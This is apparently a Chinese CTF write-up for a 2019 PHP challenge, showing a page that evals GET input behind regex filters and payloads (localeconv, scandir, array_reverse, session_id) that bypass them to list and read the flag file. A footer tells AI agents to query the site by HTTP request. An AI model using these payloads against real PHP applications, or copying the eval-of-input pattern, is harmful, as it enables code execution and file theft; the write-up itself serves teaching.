# 禁止套娃

扫到.git

```php
<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>
```

大概三层过滤，第一层过滤一些PHP伪协议，第二层过滤了有参数函数、第三层过滤了一些关键词。

一步步来，首先我们想构造的是这样的一句话：

```php
<?php
    print_r(scandir('.'));
?>
```

其中`scandir('.')`可以遍历当前目录，返回当前目录的目录。

但是这个函数是个有参函数，咋整呢，需要构造这个`.`

利用`localeconv()`，该函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.`

```
/?exp=print_r(localeconv());
```

<figure><img src="/files/6IYuOLcc3SxDLo7U3cwe" alt=""><figcaption></figcaption></figure>

而 `pos()` `current()`两个函数可以返回数组的单元，默认取第一个值，这样就可以构造遍历目录了。

```
exp=print_r(localeconv());
```

可以看到目录下是有flag文件的，在倒数第二个位置，正数第四个位置。接下来就是读取文件内容了。

这里有三种读取文件的方法

**1.array\_reverse()**

数组逆向，加一位移位

```
print_r(next(array_reverse(scandir(pos(localeconv())))));
```

读取文件有两种方法，一种是直接`print_r(readfile(file))`，一种是`highlight_file(file)`

<figure><img src="/files/pd2WecOeWPB53glhZ5k7" alt=""><figcaption></figcaption></figure>

**2.array\_rand(array\_flip())**

array\_rand()随机取出数组单元，array\_flip()函数交换键与值

```
print_r(array_rand(array_flip(scandir(current(localeconv())))));
```

**3.session\_id(session\_start())**

```
print_r(session_id(session_start()));
```

PHPSESSID=flag.php即可。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-gxyctf/jin-zhi-tao-wa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
